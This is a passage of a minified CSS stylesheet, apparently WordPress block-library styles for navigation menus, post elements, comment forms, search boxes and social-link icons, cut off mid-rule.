.wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-left:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;height:0;left:-1px;opacity:0;overflow:hidden;position:absolute;top:100%;transition:opacity .1s linear;visibility:hidden;width:0;z-index:2}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:auto;margin-right:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;line-height:inherit;text-align:left;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:0;padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background-color:inherit;display:flex;flex-direction:column;overflow:auto;padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-left),20em);z-index:100000}@media (prefers-reduced-motion:reduce){.wp-block-navigation__responsive-container.is-menu-open{animation-delay:0s;animation-duration:1ms}}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible;padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}.components-popover-pointer-events-trap{background-color:initial;cursor:pointer;inset:0;position:fixed;z-index:1000000}.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-date{box-sizing:border-box}:where(.wp-block-post-excerpt){margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{display:inline-block;margin-right:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{display:inline-block;margin-left:1ch}.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-terms{box-sizing:border-box}.wp-block-post-terms .wp-block-post-terms__separator{white-space:pre-wrap}.wp-block-post-time-to-read,.wp-block-post-title{box-sizing:border-box}.wp-block-post-title{word-break:break-word}.wp-block-post-title a{display:inline-block}.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:4em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote blockquote{margin:0}.wp-block-pullquote p{margin-top:0}.wp-block-pullquote p:last-child{margin-bottom:0}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}.wp-block-post-template{list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media (max-width:600px){.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{grid-template-columns:1fr}}.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{float:right;margin-inline-end:0;margin-inline-start:2em}.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{float:left;margin-inline-end:2em;margin-inline-start:0}.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{margin-inline-end:auto;margin-inline-start:auto}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{margin-bottom:.5em;margin-right:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center}.wp-block-query-title,.wp-block-quote{box-sizing:border-box}.wp-block-quote{overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block}.wp-block-read-more{display:block;width:-moz-fit-content;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button[aria-expanded=true]{max-width:calc(100% - 100px)}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right}.wp-block-separator{border:none;border-top:2px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;height:auto;line-height:1;text-align:center}.wp-block-separator.is-style-dots:before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}.wp-block-site-title a{color:inherit}.wp-block-social-links{background:none;box-sizing:border-box;margin-left:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) 